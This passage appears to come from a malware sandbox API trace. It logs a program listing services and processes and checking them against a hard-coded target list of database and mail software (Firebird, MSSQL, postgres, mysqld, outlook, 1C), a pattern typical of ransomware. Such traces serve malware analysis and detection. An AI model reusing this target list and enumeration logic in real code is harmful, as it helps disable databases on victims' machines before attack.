lpString2="RpcEptMapper") returned -1 [0167.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0167.644] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0167.644] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0167.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0167.644] lstrlenW (lpString="RpcSs") returned 5 [0167.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0167.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0167.644] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0167.644] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0167.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0167.644] lstrlenW (lpString="SamSs") returned 5 [0167.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0167.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0167.644] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0167.644] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0167.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0167.644] lstrlenW (lpString="Schedule") returned 8 [0167.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0167.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0167.644] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0167.644] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0167.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0167.645] lstrlenW (lpString="SENS") returned 4 [0167.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0167.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0167.645] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0167.645] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0167.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0167.645] lstrlenW (lpString="ShellHWDetection") returned 16 [0167.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0167.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0167.645] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0167.645] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0167.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0167.645] lstrlenW (lpString="Spooler") returned 7 [0167.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0167.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0167.645] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0167.645] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0167.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0167.645] lstrlenW (lpString="SysMain") returned 7 [0167.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0167.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0167.645] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0167.645] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0167.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0167.645] lstrlenW (lpString="Themes") returned 6 [0167.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0167.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0167.645] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0167.645] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0167.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0167.645] lstrlenW (lpString="TrkWks") returned 6 [0167.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0167.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0167.646] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0167.646] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0167.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0167.646] lstrlenW (lpString="UxSms") returned 5 [0167.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0167.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0167.646] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0167.646] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0167.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0167.646] lstrlenW (lpString="WdiServiceHost") returned 14 [0167.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0167.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0167.646] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0167.646] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0167.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0167.646] lstrlenW (lpString="WdiSystemHost") returned 13 [0167.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0167.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0167.646] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0167.646] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0167.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0167.646] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0167.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0167.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0167.646] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0167.646] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0167.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0167.646] lstrlenW (lpString="Winmgmt") returned 7 [0167.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0167.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0167.647] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0167.647] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0167.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0167.647] lstrlenW (lpString="WPDBusEnum") returned 10 [0167.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0167.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0167.647] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0167.647] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0167.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0167.647] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x42de628 | out: hHeap=0x630000) returned 1 [0167.647] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0167.648] Process32FirstW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.649] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0167.649] lstrlenW (lpString="System") returned 6 [0167.649] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0167.649] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0167.649] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0167.649] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0167.649] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0167.649] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0167.649] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0167.649] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0167.650] lstrlenW (lpString="smss.exe") returned 8 [0167.650] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0167.650] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0167.650] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0167.650] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0167.650] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0167.650] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0167.650] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0167.650] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.650] lstrlenW (lpString="csrss.exe") returned 9 [0167.650] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0167.650] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0167.650] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0167.650] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0167.650] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0167.650] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0167.650] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0167.650] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0167.651] lstrlenW (lpString="wininit.exe") returned 11 [0167.651] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0167.651] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0167.651] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0167.651] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0167.651] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0167.651] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0167.651] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0167.651] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.651] lstrlenW (lpString="csrss.exe") returned 9 [0167.651] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0167.651] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0167.651] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0167.651] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0167.651] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0167.651] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0167.652] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0167.652] lstrlenW (lpString="winlogon.exe") returned 12 [0167.652] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0167.652] lstrlenW (lpString="services.exe") returned 12 [0167.652] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0167.653] lstrlenW (lpString="lsass.exe") returned 9 [0167.653] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0167.653] lstrlenW (lpString="lsm.exe") returned 7 [0167.653] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.653] lstrlenW (lpString="svchost.exe") returned 11 [0167.653] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.654] lstrlenW (lpString="svchost.exe") returned 11 [0167.654] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.654] lstrlenW (lpString="svchost.exe") returned 11 [0167.654] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.654] lstrlenW (lpString="svchost.exe") returned 11 [0167.654] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.655] lstrlenW (lpString="svchost.exe") returned 11 [0167.655] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0167.655] lstrlenW (lpString="audiodg.exe") returned 11 [0167.655] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.655] lstrlenW (lpString="svchost.exe") returned 11 [0167.655] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0167.656] lstrlenW (lpString="explorer.exe") returned 12 [0167.656] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0167.656] lstrlenW (lpString="dwm.exe") returned 7 [0167.656] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.656] lstrlenW (lpString="svchost.exe") returned 11 [0167.656] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0167.657] lstrlenW (lpString="n.exe") returned 5 [0167.657] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0167.657] lstrlenW (lpString="spoolsv.exe") returned 11 [0167.657] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.657] lstrlenW (lpString="svchost.exe") returned 11 [0167.657] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0167.658] lstrlenW (lpString="taskhost.exe") returned 12 [0167.658] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0167.658] lstrlenW (lpString="reader_sl.exe") returned 13 [0167.658] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0167.658] lstrlenW (lpString="n.exe") returned 5 [0167.659] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0167.659] lstrlenW (lpString="n.exe") returned 5 [0167.659] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0167.659] CloseHandle (hObject=0x118) returned 1 [0167.659] Sleep (dwMilliseconds=0x1f4) [0168.392] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3bf6418 [0168.427] EnumServicesStatusExW (in: hSCManager=0x3bf6418, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0168.427] GetLastError () returned 0xea [0168.427] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x42de628 [0168.428] EnumServicesStatusExW (in: hSCManager=0x3bf6418, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42de628, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42de628, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0168.428] CloseServiceHandle (hSCObject=0x3bf6418) returned 1 [0168.428] lstrlenW (lpString="Appinfo") returned 7 [0168.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0168.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0168.429] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0168.429] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0168.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0168.429] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0168.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.429] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0168.429] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0168.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0168.429] lstrlenW (lpString="AudioSrv") returned 8 [0168.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0168.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0168.429] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0168.429] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0168.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0168.429] lstrlenW (lpString="BFE") returned 3 [0168.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0168.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0168.429] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0168.429] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0168.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0168.429] lstrlenW (lpString="CryptSvc") returned 8 [0168.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0168.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0168.429] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0168.429] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0168.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0168.429] lstrlenW (lpString="CscService") returned 10 [0168.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0168.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0168.430] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0168.430] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0168.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0168.430] lstrlenW (lpString="DcomLaunch") returned 10 [0168.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.430] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0168.430] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0168.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0168.430] lstrlenW (lpString="Dhcp") returned 4 [0168.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0168.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0168.430] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0168.430] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0168.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0168.430] lstrlenW (lpString="Dnscache") returned 8 [0168.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0168.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0168.430] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0168.430] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0168.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0168.430] lstrlenW (lpString="DPS") returned 3 [0168.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0168.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0168.430] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0168.430] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0168.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 